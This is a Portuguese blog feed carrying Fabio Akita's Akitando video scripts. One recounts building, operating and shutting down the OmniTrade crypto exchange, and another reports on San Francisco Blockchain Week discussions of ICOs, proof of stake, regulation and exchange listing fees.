<p>E mais ainda em corretoras de cripto porque elas são lojas online onde você não tem como saber sequer se eles tem mesmo os produtos que estão vendendo. Você só vai saber se tem mesmo o que comprou quando tentar sacar pra fora dela. Mas as ofertas ficam dentro da corretora, a volatilidade é alta, ou seja, o preço varia pra cima ou pra baixo o tempo todo. Não dá tempo de transferir o que você tem na sua carteira fora pra dentro de uma exchange a tempo de executar uma ordem de compra que chamou sua atenção. Eu disse que o tempo de mineração de um bloco leva no mínimo 20 minutos no caso de Bitcoin e pode ser horas dependendo do dia.</p>
<p>Por isso muitas pessoas optam por deixar uma boa parte dos seus bitcoins depositados na corretora, o que é cômodo mas um grande risco. Mais do que isso, eles acabam se alavancando. Eu expliquei sobre alavancagem no meu video de COVID, dêem uma olhada. É muito risco pra se assumir considerando que você precisa confiar numa corretora de origem desconhecida que nem tem muito tempo de vida. Toda vez que eu depositava dinheiro ou criptomoedas numa corretora eu ficava extremamente ansioso não se o preço do bitcoin ia subir ou descer, mas se amanhã a porcaria da corretora ainda ia existir e não sumir com meu dinheiro.</p>
<p>Isso foi meu período como trader entre mais ou menos abril a dezembro de 2017. No segundo semestre, meu sócio Rodrigo na Codeminer 42 que é a nossa empresa principal de desenvolvimento de software, me contou que um conhecido dele estava tentando fazer uma nova corretora fazia meses e ainda não tinha conseguido. Obviamente eu imaginei tudo de errado que ele tava fazendo e o Rodrigo brincou se eu não conseguia fazer em menos tempo. Isso foi uma conversa enquanto íamos pra algum cliente enquanto estávamos num Uber.</p>
<p>Então por volta de Outubro de 2017 eu resolvi encarar o desafio. Encontrei uma plataforma open source chamada Peatio. Naquela época e mesmo hoje ela é incompleta mas era um esqueleto muito bom. Se você procurar hoje, nem tente usar do jeito que tá, tem bugs, erros conceituais, e eu reescrevi toda a lógica de comunicação com os servidores de blockchains, todas as verificações de tratamento de filas, daemons, máquinas de estado, integrações e tudo mais. Ele foi feito pra fazer uma corretora pequena que delega a custódia das criptomoedas pra algum serviço de terceiros como a BitGo.</p>
<p>Aliás, aqui vale começar a entender o que está por trás desse ecossistema. Como eu disse sobre a B3 uma corretora tradicional é responsável pela custódia das ações que você compra, não é como no final do século XIX que você literalmente guardava os papeis de ações de empresas num cofre em casa. Assim como o dólar, ações também são digitais hoje em dia. Mas existe essa responsabilidade de custodiar essa propriedade que é regulamentada pela Comissão de Valores Mobiliários, a CVM. Um banco por exemplo, custódia seu dinheiro, pra você não ter que guardar papel moeda embaixo do colchão.</p>
<p>Em criptomoedas, pra você poder negociar dentro de uma corretora primeiro precisa depositar dinheiro ou criptomoedas e com isso ter um saldo pra negociar. Significa que a corretora precisa custodiar seus ativos. No caso de reais tudo bem porque você transfere da sua conta de banco pra conta de banco da corretora. Mesmo se a corretora for chinfrim o dinheiro teoricamente tá num banco grande tipo Caixa Econômica ou Banco do Brasil e não vai simplesmente sumir por erro técnico. Aliás, preciso comentar rapidamente que a integração de APIs de bancos tradicionais é uma grande porcaria e os bancos digitais não me impressionaram nem um pouco também.</p>
<p>Enfim, não existe o equivalente banco pra criptomoedas. Você transfere da sua carteira direto pra carteira da corretora. E aqui é um risco enorme porque se tiver um erro técnico ou vulnerabilidade no código mal feito das corretoras, um hacker ou algo assim poderia roubar essas criptomoedas e isso aconteceu dezenas de vezes em diversas corretoras não só no Brasil como em vários países do mundo tipo Coréia do Sul ou mesmo Japão. Por isso começaram a surgir empresas que se especializaram em ser o custodiante das criptomoedas de forma que corretoras não precisassem se preocupar tanto.</p>
<p>A estratégia é simples. Pra poder cumprir com o volume diário de saques que acontecem normalmente, as corretoras mantém um certo tanto no que chamamos de hot wallets, que são carteiras que a plataforma acessa automaticamente. Mas pra se proteger de eventualmente um hacker invadir a plataforma, mantém-se a maior parte em outro lugar, num cold wallet, que a plataforma não tem acesso automático e normalmente precisa de duas ou mais pessoas de verdade pra assinar a transferência entre as duas carteiras manualmente.</p>
<p>Porém, uma BitGo obviamente precisa lucrar e pra isso ela cobra uma taxa de administração dessa custódia. É meio como um seguro que você paga porque corretamente assume que não sabe como proteger essas coisas. Quem achou que sabia se deu mal e foi roubado por hackers. Eu no meu caso decidi que não ia usar um custodiante e custodiar eu mesmo. E é nesse caso que plataformas open source que você vê por aí não vão te ajudar.</p>
<p>Eu montei minha própria infraestrutura no Google Cloud, fiz clusters separados pra plataforma web que os clientes acessam, outro cluster completamente isolado e sem acesso pela internet pública com os servidores de blockchain de cada criptomoeda como Bitcoin, Ethereum, XRP, Dash e outros, cada qual rodando num container isolado. E a comunicação entre a plataforma web e os blockchains sendo intermediado por um sistema separado de filas e daemons que recebem as ordens antes dos blockchains. Portanto mesmo se alguém achasse uma vulnerabilidade na plataforma web, não teria nenhum acesso direto a nenhum dos blockchains. E quando eu falo blockchains, me refiro às hot wallets, que são cópias dos blockchains de cada moeda com a capacidade de assinar transações usando a chave privada da nossa carteira hot.</p>
<p>Por que eu fiz isso? Porque eu realmente senti que eu tinha know-how suficiente. Está virando um padrão eu dizer isso, mas eu não sou nenhum especialista em segurança, no sentido que meu trabalho principal não é esse. Mas eu estudo e pratico segurança em projetos reais desde a época da bolha da internet de 2001. Vamos dizer que eu sei uma coisa ou duas sobre segurança. E de quebra eu queria mesmo exercitar Kubernetes então aproveitei pra aprender Kubernetes e subir a estrutura que eu tinha em mente, e isso foi meu mês de dezembro de 2017.</p>
<p>Nesse ponto eu já não tava programando sozinho. Alistamos vários programadores da Codeminer pra me ajudar, alguns refizeram o front-end, alguns me ajudaram a corrigir mais bugs que fomos encontrando na plataforma open source, atualizando diversas bibliotecas e práticas de código antigas, adicionando testes automatizado pra muita coisa que não tinha e no final ele ficou razoavelmente melhor e internamente diferente do que era o open source original.</p>
<p>Em janeiro de 2018 a bolha já tinha estourado. Mas tudo bem, por um lado eu achei que seria bom porque muitas das corretoras ruins ou realizando más práticas iam sumir com o tempo então continuei desenvolvendo e foi quando decidimos contratar uma empresa terceira de auditoria de segurança, que passou o mês realizando testes pra ver se havia alguma vulnerabilidade que eu não tinha visto. Nenhum sistema online é 100% seguro e se eu fosse o invasor havia alguns caminhos bem tortuosos que eu podia tentar pra invadir, mas a chance era improvável demais dada a infraestrutura e contingências que colocamos.</p>
<p>Daí por volta de fevereiro o desenvolvimento da primeira versão tava completo e a auditoria voltou que depois de um mês de tentativas pelo menos nenhum bug grosseiro foi encontrado. Então lançamos ao público sem muito barulho. Nosso pensamento na época e desde então foi o seguinte: o mercado ainda estava infestado de piramideiros e corretoras ruins. Vamos acreditar no mercado, que em 1 ou 2 anos, agora que a histeria da bolha estourou, pra deixar ele se auto-regular. Enquanto isso ficaríamos operando sem muito barulho e construindo credibilidade por não oferecer produtos ruins e estando sempre solventes, que era outra coisa que poucos ofereciam: garantia que tudo que você deposita vai conseguir sacar sem nenhum problema. Isso é tanto verdade que agora que fechamos devolvemos tudo aos clientes. Isso é quase uma novidade nesse mundo onde várias empresas de criptomoedas fecham e nunca devolvem tudo dos clientes.</p>
<p>No mínimo agora eu tinha onde depositar as minhas próprias criptomoedas e dormir tranquilo sem acordar no dia seguinte e descobrir que a maldita corretora foi hackeada ou faliu. E durante os meses seguintes fomos melhorando mais bugs, performance, escalabilidade, segurança e adicionando mais criptomoedas. Não sei se eu era o único mas com certeza era um dos poucos que custodiava tudo nos meus próprios servidores de blockchain.</p>
<p>Agora tem outro problema. Liquidez. O problema do ovo e da galinha de qualquer corretora é que todo novo cliente entra numa plataforma dependendo do livro de ofertas. Se não tiver ninguém negociando, ninguém entra. Mas se ninguém entrar nunca vai ter ninguém negociando. Por causa disso muitas corretoras simplesmente mentem no livro de ofertas e adicionam volumes completamente falsos. Se você não entende tudo que eu falei até agora, não iria conseguir diferenciar, mas se parar pra observar não é tão difícil encontrar os padrões de um livro falso. Volume falso então chegava a ser vergonhoso.</p>
<p>Não digo que é só no Brasil não, em diversos países da Ásia como na China você via várias falsificando os volumes na cara dura. É uma falsa liquidez com o objetivo de atrair pessoas de verdade e ir substituindo as ordens falsas por ordens de verdade. Se fossem só ordens falsas mas que representam um volume de verdade ainda vá lá. Eu diria que o mercado tradicional faz a mesma coisa, particularmente no mercado de opções que tem bem menos liquidez que no de ações. Liquidez é sempre o problema.</p>
<p>Pra não ter que fazer números falsos nas plataformas ainda existe outra opção, os market makers. Literalmente eles criam o mercado e garantem a liquidez, ou seja, se ele colocar uma ordem de venda de 1000 reais, e alguém quiser comprar nesse preço, ele vai conseguir fechar a ordem. Existem várias pessoas e empresas que fazem isso no Brasil e fora. Porém eles cobram uma margem de lucro pra eles, taxas de serviço. E não vou dizer qual, mas uma das mais conhecidas começa cobrando na faixa de 20 mil reais por mês pra preencher seu livro de ofertas e oferecer liquidez.</p>
<p>Como nosso objetivo não era crescer rápido, ainda mais que todo mundo ainda tava no choque do estouro da bolha de 2017, preferimos crescer organicamente. Eu e meu sócio colocamos nossas próprias criptomoedas e fomos crescendo um cliente de cada vez. A gente não tinha pressa porque a OmniTrade sempre foi um negócio razoavelmente enxuto. Pra chamar gente massivamente precisaríamos gastar ordens de grandeza mais dinheiro do que gastamos pra construir a plataforma só em marketing, só que mesmo assim a reputação de criptomoedas estava nos chinelos graças aos piramideiros e a toda a publicidade negativa nos noticiários. Como você reverte a má reputação se na TV, jornais, revistas e tudo mais todo mundo associou criptomoedas com piramideiros?</p>
<p>Como sempre, nós sabemos que depois de um crash, uns dois anos depois os mercados tendem a começar a se recuperar. Povo tem memória curta, então toda a má reputação ia começar a se dissipar, e se fizéssemos um bom serviço e continuássemos a evoluir a plataforma, a gente encontraria uma janela de oportunidade no futuro. Nós não tínhamos a necessidade de forçar a barra bem naquele timing horroroso. Além disso, em maio de 2020 aconteceria o evento de halving, que em termos simples é o aumento automático da dificuldade de minerar bitcoins, diminuindo a oferta, o que naturalmente segue com um aumento do seu valor, o que poderia ser gatilho pra uma nova corrida de crescimento.</p>
<p>Então 2018 foi um ano de observação e aprendizado. Foi em agosto de 2018 que eu abri este canal e resolvi postar alguns videos das minhas observações dos mercados. Eu queria ver com meus próprios olhos como a Europa, Ásia e Estados Unidos estavam se comportando e por isso fui pra Seoul, Ilha de Malta, São Francisco e documentei nos primeiros videos deste canal que vocês podem assistir na playlist de Blockchain que vou deixar nas descrições abaixo. E eu ainda vi muito oba oba, muito confete e muita promessa. O mercado ainda não aprendeu com o crash de 2017 e por isso durante toda a vida deste canal você não me viu jogando mais lenha nessa fogueira.</p>
<p>Enquanto isso, meu negócio principal é a CodeMiner. Eu falei rapidamente dela no video de Aprendendo a Aprender. Também falei que a gente costuma jogar desafios pros estagiários e juniors. Um desses desafios era participar da manutenção da OmniTrade. Como eu falei brevemente, a infraestrutura é complicada pra um iniciante, com diversas peças móveis e vários conceitos que pouca gente conhece tanto sobre blockchains quanto finanças. E sempre tivemos um backlog de melhorias, novas funcionalidades, e por dois anos quase todo estagiário que entrou na Code teve que se exercitar puxando alguma tarefa da OmniTrade. Só o setup do projeto todo já é mais complicado que a maioria dos projetos web por aí então era um bom exercício.</p>
<p>Outro conceito que eu já falei em outros videos, como no Começando na Carreira de TI é que eu acredito que tanto um estagiário quanto um sênior devem ser capazes de chegar numa solução similar de código. A diferença é que um sénior já teve anos de experiência e de 20 caminhos diferentes, ele sabe que 18 não vão funcionar, daí ele foca nos 2 de maior chance. Um estagiário não sabe e ele é obrigado a testar todos. A razão pela qual código de estagiário tem má reputação é porque esperam que ele chegue na solução certa no mesmo tempo que um sênior chegaria e sem ninguém revisando. Obviamente vai dar errado. Simplesmente coloque ele perto de alguém mais experiente que vai eliminar 18 tentativas que ele já sabe que não funciona, e que revise o código depois, pra rejeitar as tentativas erradas; e se o estagiário tiver o perfil que falei no video anterior, ele chega num resultado razoável.</p>
<p>Portanto, por 2 anos a OmniTrade também serviu como um bom laboratório pra todos os programadores da empresa. Vários excelentes programadores que estão hoje atendendo meus clientes dos Estados Unidos passaram por isso. Portanto a plataforma representou uma melhoria de qualidade pra Codeminer. A estrutura ficou tão azeitada que eu tirei as mãos, que é outro sinal de maturidade quando o programador original pode parar de mexer e a plataforma não quebra. Se um sistema depende excessivamente do programador original, ele provavelmente está mal feito. Um teste de saúde de todo bom sistema é rotacionar os programadores, fica a dica.</p>
<p>Mesmo não investindo em marketing pelos motivos que expliquei, mesmo não tendo nenhuma equipe de desenvolvimento em tempo integral porque era usado tempo da Codeminer, mesmo não pagando serviços de custodiantes nem de market makers, ainda assim os custos operacionais da OmniTrade chegavam perto de 50 mil reais por mês. É um custo de mais de meio milhão de reais por ano que saía do meu bolso e do meu sócio Rodrigo.</p>
<p>Aliás, isso pode parecer bastante coisa, mas lembrem-se de quanto está o real comparado com dólar. Isso dá míseros 200 mil dólares por ano, que nos Estados Unidos é o salário anual de um bom programador em Silicon Valley. Eu poderia chutar que existem corretoras que pagam bem mais que isso por uma plataforma inferior. Mas chegamos em 2020 e vocês já sabem o que aconteceu.</p>
<p>Foi uma pena fechar porque havia mais coisas que não tentamos porque não precisávamos naquele momento. A arquitetura que montamos aguenta até um nível de escala. Pra um nível mais massivo do tipo pra suportar uma Coinbase ou Binance, precisaria de outra arquitetura. Mas não fazia sentido fazer a mais complicada antes do tempo. Outra dica: você não precisa da solução mais complicada no dia um e sim, se você der certo você vai reescrever uma parte ou todo o seu software, é inevitável. Não me venha com conversas de amador de “vamos fazer ‘certo’ da primeira vez” porque isso é garantia de gastar demais e fazer errado.</p>
<p>Mesmo antes desta crise, o mercado de criptomoedas continuou com os malditos piramideiros, poucos sobreviveram, e continua custando caro tentar se diferenciar dos golpistas. Pra fazer a OmniTrade ir pro próximo nível precisaríamos gastar ordens de grandeza mais do que já gastamos só em marketing. E em 2020 obviamente não vamos fazer isso, e não parece que vamos poder fazer em 2021 já que esta crise nem começou ainda. Pior, assim como a empresa de todo mundo, esta crise põe em risco a minha empresa principal, a Codeminer. Felizmente até hoje não tivemos que demitir nenhum programador, mas como eu disse, esta crise não tem data pra acabar.</p>
<p>Portanto a coisa racional a se fazer é cortar todos os custos não essenciais e neste ponto, a OmniTrade não é essencial pra sobrevivência da Codeminer, então a decisão que precisa ser tomada rápido, é clara. O que já foi investido chama-se custo perdido. E o que vamos deixar de gastar agora chama-se &ldquo;fazer caixa&rdquo; que é a prioridade número um de todo empresário no mundo. Quando não se tem uma data pra acabar a crise, nem todo o caixa do mundo pode ser suficiente.</p>
<p>Como não somos nenhuma corretora gigante, não foi tão difícil desligar a plataforma. Primeiro desligamos as negociações. Comunicamos todos os clientes de inúmeras formas e alguns tentamos inúmeras vezes, até ligando um a um quem não estava respondendo. Até o dia de hoje, praticamente todos fizeram saques, ainda temos uma pequena lista de pessoas que não encontramos de jeito nenhum, mas os saldos de todos estão na cold wallet e vamos continuar devolvendo até o último. Eu tenho zero interesse em ficar com o dinheiro dos outros.</p>
<p>Com tudo isso dito, alguns podem se questionar se eu parei de acreditar em criptomoedas. E a resposta é não. Voltando à situação atual, eu disse que os bancos centrais estão se vendo numa situação ruim onde estão sendo obrigados a imprimir mais dinheiro, desvalorizando ainda mais as moedas. E nós estamos só na primeira onda da pandemia. Muitos acreditam que podemos estar pra entrar numa segunda onda. A recuperação aparente dos mercados financeiros não é uma garantia e eu diria que a probabilidade maior é que nós ainda vamos ver mais um crash brutal nas próximas semanas ou meses. O crash pós carnaval fez os mercados perderem uma média de 40% do seu valor. Eu ainda acho que vamos chegar a 50% antes de enxergar o fundo.</p>
<p>Eu ainda estou segurando os bitcoins que eu comprei em 2017. Comprei mais em 2018 e um pouco em 2019. Não só criptomoedas, estou comprado em ouro também, imóvel, dólar, fundos e ações. Eu diversifiquei o quanto eu podia e mesmo assim pode não ter sido suficiente. E aproveito pra dizer, eu não sou analista financeiro, por isso não me façam perguntas do que você devia fazer com seu dinheiro ou investimentos, porque eu não pretendo responder. Eu mesmo não tenho certeza dos meus, e eu tenho amigos que tem anos de experiência no mercado financeiro. Faça sua lição de casa.</p>
<p>No caso particular de bitcoin, o próximo grande evento pra ficar de olho é o halving, que acontece mais ou menos a cada 4 anos. Só aconteceram dois na história até agora, em novembro de 2012 e em julho de 2016. O próximo vai acontecer daqui 26 dias a contar de hoje, 15 de abril de 2020.
Aqui eu diria que “se ficaram com dúvidas pra mandar nos comentários abaixo”, porém o video do COVID-19 que eu fiz acabou viralizando e atraiu todo tipo de gente fazendo comentários inúteis. Eu leio praticamente todos os comentários que vocês fazem e aquilo virou improdutivo por isso desativei. Se acontecer a mesma coisa com este vou desativar também então atenha-se a comentários de verdade. Enfim, se curtiram o video mandem um joinha, assinem o canal, cliquem no sininho pra não perder os próximos episódios e não deixem de compartilhar com seus amigos. A gente se vê na próxima, até mais!</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>economia</category><category>startups</category><category>akitando</category></item><item><title>[Akitando] #21 - Entendendo Blockchain em São Francisco</title><link>https://akitaonrails.github.io/2018/10/25/akitando-21-entendendo-blockchain-em-sao-francisco/</link><guid isPermaLink="true">https://akitaonrails.github.io/2018/10/25/akitando-21-entendendo-blockchain-em-sao-francisco/</guid><pubDate>Thu, 25 Oct 2018 17:00:00 -0300</pubDate><description>&lt;p&gt;Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal &lt;a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener"&gt;Akitando&lt;/a&gt;. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.&lt;/p&gt;
&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/M0PgfU4qUMM"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3&gt;Descrição no YouTube&lt;span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Finalmente, para finalizar minha &amp;ldquo;Peregrinação Blockchain&amp;rdquo; pelo mundo, eu termino em São Francisco. Participei do evento Epicenter do SF Blockchain Week nos dias 8 e 9 de Outubro de 2018.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal <a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener">Akitando</a>. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/M0PgfU4qUMM"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h3>Descrição no YouTube<span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"></span>
    <a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Finalmente, para finalizar minha &ldquo;Peregrinação Blockchain&rdquo; pelo mundo, eu termino em São Francisco. Participei do evento Epicenter do SF Blockchain Week nos dias 8 e 9 de Outubro de 2018.</p>
<p>Neste episódio, além de descrever a situação atual dos Estados Unidos do ponto de vista de investidores ocidentais e orientais, vou explicar conceitos que NINGUÉM explica da forma certa em nenhum canal do Brasil. Os evangelistas brasileiros precisam aumentar o nível.</p>
<p>Esqueça canal de YouTuber financista, não sabem o que estão dizendo. Vamos aumentar o nível dessa conversa neste canal.</p>
<p>Neste episódio vamos falar de alguns dos problemas da discussão de Proof of Work e Proof of Stake e inclusive mencionar outras formas de consenso como Proof of Space-Time.</p>
<p>Vamos entender o que são secure enclaves, zero knowledge proofs, porque isso é importante.</p>
<p>Vamos também conhecer quem são as pessoas importantes que você deveria seguir (dica: nenhuma do Brasil) como Michael Arrington, Ella Zhang, Chengpeng Zhao, Vincent Zhao, Alex Shin e muitos outros, prestem atenção.</p>
<p>No final deste vídeo quero compartilhar com vocês minha enorme frustração com quem está representando o mercado de criptomoedas no Brasil: não temos ninguém aqui que tem uma fração da visão dos gigantes que eu vim conhecendo da Ásia, Europa e Estados Unidos.</p>
<p>Compartilhem este vídeo com todo mundo que você conhece que está interessado nesse mundo de blockchains e criptomoedas. Já passou da hora de alguém começar a separar o joio do trigo aqui no Brasil.</p>
<p>Links:</p>
<ul>
<li>The Secrets to FBG Capital’s Success May Not be So Secret (<a href="https://www.cryptoinvestor.asia/the-secrets-to-fbg-capitals-success-may-not-be-so-secret/"target="_blank" rel="noopener">https://www.cryptoinvestor.asia/the-secrets-to-fbg-capitals-success-may-not-be-so-secret/</a>)</li>
<li>How Binance Conquered The Cryptocurrency World With Help Of A Utility Token (<a href="https://www.forbes.com/sites/darrynpollock/2018/10/08/how-binance-conquered-the-cryptocurrency-world-on-the-back-of-a-utility-token/#4a0d264d33ef"target="_blank" rel="noopener">https://www.forbes.com/sites/darrynpollock/2018/10/08/how-binance-conquered-the-cryptocurrency-world-on-the-back-of-a-utility-token/#4a0d264d33ef</a>)</li>
<li>Proof-of-Stake &amp; the Wrong Engineering Mindset (<a href="https://medium.com/@hugonguyen/proof-of-stake-the-wrong-engineering-mindset-15e641ab65a2"target="_blank" rel="noopener">https://medium.com/@hugonguyen/proof-of-stake-the-wrong-engineering-mindset-15e641ab65a2</a>)</li>
</ul>
<h2>Script<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
<p>Terça falei de Malta, hoje é dia de São Francisco. Esta é a última parte da minha peregrinação blockchain. Em vez de quebrar em muitos episódios, preferi colocar tudo num único vídeo pra facilitar quem está interessado. Peço um pouco de paciência porque este vídeo vai ser mais longo que o normal.</p>
<p>(&hellip;)</p>
<p>Originalmente eu estava planejando ir só pra Malta e até ia descansar um dia em Roma voltando a tempo pro Brasil Game Show semana retrasada. Mas aí fiquei sabendo que iria ter o Blockchain Week em São Francisco então mudei o itinerário em cima da hora e aí virou uma zona. A viagem de Malta pra São Francisco foi terrível. Era pra ser um simples vôo de Malta pra Roma, de Roma pra Dallas e dali pra São Francisco. O Vôo de Roma pra Dallas atrasou, me ofereceram pra Londres e dali direto pra São Francisco. Daí esse vôo atrasou, tive que ir pra Chicago e de lá pra São Francisco. Daí esse vôo também atrasou e eu tive que passar a noite em Chicago. No total levou mais tempo do que ir do Brasil pra Coréia do Sul.</p>
<p>O Blockchain Week foi uma semana inteira de vários eventos. Eu participei de apenas um deles, o San Francisco Blockchain Week Epicenter, mas antes teve o ETH San Francisco e na sequência teve o CESC que foi o Crypto Economics Security Conference, e ao redor deles diversas empresas fizeram meetups próprios, empresas como a Ultrain, ICON, ou Shyft.</p>
<p>Eu só posso falar do Epicenter. E mesmo o Epicenter foi um evento dividido em 5 trilhas paralelas. Eu fiquei no Main stage que era o auditório maior e com os nomes mais pesos pesados, mas teve em paralelo a trilha Titans of Tech e Building Blocks que me pareceu mais voltado à apresentação das empresas patrocinadoras e painéis com investidores. E ainda teve 2 trilhas mais de workshop técnico chamado Blockchain Academy que era hands on nas diversas soluções que os patrocinadores estavam apresentando.</p>
<p>Pelo que foi explicado, o evento aconteceu ano passado também, e teve cerca de 300 pessoas. Por causa do boom do fim do ano passado o interesse cresceu muito, este ano parece que chegou a ter quase 2000 inscritos.</p>
<p>Um grande contraste com todos os outros eventos de blockchain, em Seoul, em Malta, e mesmo os do Brasil, o de San Francisco tinha um peso muito maior de programadores e produtos centrados em tecnologia. Só o fato de ter 2 trilhas inteiras de workshops técnicos já diz muito de porque Silicon Valley ainda é Silicon Valley.</p>
<p>Infelizmente foi impossível assistir todas as apresentações, então vou compilar as principais idéias que eu ouvi.</p>
<p>Assisti só 2 palestras na trilha de Titans of Tech. Uma empresa que eu ficaria de olho é a chinesa SV Insight. Eles fizeram uma pesquisa sobre o mercado global de criptomoedas, aplicações de blockchain em diversas indústrias e ICOs. Eles disseram que iam liberar o whitepaper completo dia 15 de Outubro que já passou, até o momento onde gravei este episódio ainda não achei pra baixar. Não ajuda muito que o site deles é em chinês, se alguém encontrar o report, não deixe de mandar nos comentários.</p>
<p>Um exemplo do problema do mercado geral de tech startups usando blockchains foi a sessão sobre TCR ou Token Curated Registries. Na prática imagine qualquer registro editado publicamente como Wikis ou mesmo listas de recomendação como Yelps ou similares. No caso a idéia vem de listas de ICOs que publicam endereços de wallets para enviar tokens para participar desses ICOs, uma lista editável podia ficar à mercê de agentes maliciosos colocando endereços falsos induzir as pessoas ao erro e roubar os tokens. Em vez de correr esse tipo de risco tiveram a idéia de inventar um registro público onde a edição é baseada em stake. Ou seja, se você quer editar uma informação você coloca seus tokens como garantia, se sua informação for votada como falsa, você perde seus tokens. Ë como o Proof of Stake para votos que muitos blockchains tem perseguido mas no caso para editar registros públicos. O painel teve representantes de duas startups a Dirt Protocol e a Messari. Ambos estão ainda em desenvolvimento, a Messari está em fase de protótipo. Ou seja, ainda não existem de verdade. E muito da falta de credibilidade do mundo de ICOs é justamente esse: muitas promessas mas muito pouco pra realmente se ver.</p>
<p>Do painel um insight que eu já ouvi antes: o maior problema desse tipo de solução é como conseguir adoção em massa? Um dos maiores problemas é a falta de usabilidade para uma pessoa comum. Já é difícil pra uma pessoa não técnica entender a idéia de custodiar suas chaves privadas. Mais difícil ainda fazer essas pessoas instalarem plugins como Metamask em seus navegadores para conseguir usar Dapps como esses baseados em TCR. Usabilidade é um dos problemas mais graves pra adoção em massa e a razão de porque exchanges centralizadas e custodiantes em forma de wallets centralizadas meio como uma Coinbase ainda vão fazer sentido e porque soluções como Exchanges Descentralizadas, as chamadas DEX, ainda tem um longo caminho a perseguir.</p>
<p>As sessões na Main Stage foram estruturadas na maioria como Fireside chats, basicamente painéis moderados com vários nomes e empresas conhecidas como John Burbank da Passport Capital, Jeff Schumacher da BCG Digital Ventures, Michael Arrington da XRP Capital e assim por diante. Não vou descrever um a um mas no geral os temas eram os mesmos que já ouvi em outras conferências.</p>
<p>Esses temas giram em torno das regulamentações, security tokens e tokenização de assets, blockchain sendo usados como balas de prata onde não precisa, governança das blockchain públicas e os problemas de credibilidade e adoção em massa.</p>
<p>Investidores como Michael Arrington deixam muito claro que odeiam regulamentações, em particular porque nos Estados Unidos a SEC classifica todo token como uma security e isso dificulta todo o ecossistema. O Arrington disse em alto e bom som: Fuck the SEC.
Se não me engano foi Naval Ravikant da Angellist que explicou isso melhor. Ano passado as criptomoedas quase conseguiram quebrar a barreira pra se tornar mainstream, pagamentos quase aconteceram, Wall Street quase entrou. Mas o bull run rápido demais foi péssimo. A febre incentivou ICOs ruins que falharam e queimaram o dinheiro de muito investidor.</p>
<p>O objetivo era correto, mas como tudo aconteceu rápido demais, o mercado caiu em busca de correção e todo mundo entrou em modo de defesa. China baniu ICOs. Coréia do Sul não chegou a banir as ICOs porque tem tanto investidor que mais de 200 mil fizeram um abaixo assinado ao governo para não banir, mas eles mantiveram uma recomendação para desencorajar ICOs. Japão também baniu ICOs e os Estados Unidos classificaram quase tudo como security, ficando à mercê da SEC.</p>
<p>Initial Coin Offerings tem como objetivo baixar a barreira de entrada para investidores individuais. Eu falei isso em outro episódio mas em Initial Public Offerings ou IPOs o investidor de varejo, as pessoas comuns, só tem a oportunidade de entrar depois que todos os grandes VCs e fundos de investimentos já fizeram a compra inicial mais barata e estão protegidos. Com ICOs qualquer um poderia entrar no começo. Mas com todas as incertezas regulatórias, nenhum ICO pode mais arriscar lançar em público, então a única outra saída é fazer lançamento privado, entre quatro paredes, somente para os grandes investidores, então os ICOs acabaram indo pelo mesmo caminho das IPOs e o investidor comum novamente ficou sem acesso. Esse é o resultado de regulamentação restritiva, as pessoas comuns são “protegidas” tanto de perder dinheiro quanto de ficar mais rico.</p>
<p>A idéia dos blockchains é que qualquer um pudesse ser um nó na rede e minerar via proof of work. Mas tanto Bitcoin como Ethereum acabaram crescendo rápido demais e a dificuldade de mineração por PoW centralizou o controle da mineração na mão de poucos pools que usam hardware caro e não acessíveis, que você compra de empresas como Bitmain. Então um usuário em casa não tem mais a possibilidade de participar do processo de mineração. Substituir proof of work por proof of stake significa que em vez de hardware específico você precisa colocar seus tokens em stake pra participar da votação da mineração, mas se esses coins não podem ser adquiridos por qualquer um e só podem ser obtidos por private sales, significa que nesse caso também vai haver centralização de quem teve possibilidade de adquirir muitos tokens na fase de pré-venda fechada.</p>
<p>Além desse problema da quebra da descentralização ainda tem o problema da credibilidade. Como eu expliquei nos episódios de Seoul, lá eles criaram uma estrutura informal conhecida como Syndicates. A forma de levar os tokens pras mãos das pessoas é via listing, ou listagem desses tokens nas principais exchanges como Bithumb ou Binance. Todo mundo quer ser listado. Mas pra isso você precisa passar pelos syndicates. Um dos painéis mais interessantes foi de novo com Michael Arrington fazendo perguntas à Jack Lee da HCM Capital, Alex Shin da Hashed, Shinhae Lee da GBIC, David Lee da Refactor Capital.
Era um painel de investidores do Ocidente vs investidores do Oriente. E o Arrington, como sempre sem travas na língua, levantou de cara essa questão: nós sabemos que existe essa estrutura, quanto vocês cobram pros ICOs listarem seus tokens? E de fato, o fee pode ir de 500 mil ou 1 milhão de dólares, e os syndicates chamam isso de budget de marketing (!!) Na prática, pra você conseguir listar sua startup numa Nasdaq também não vai sair nem um pouco barato. Achei engraçado porque nesse mercado existem várias estruturas desse tipo que todo mundo sabe que existe mas ninguém comenta oficialmente. É como uma máfia mesmo.</p>
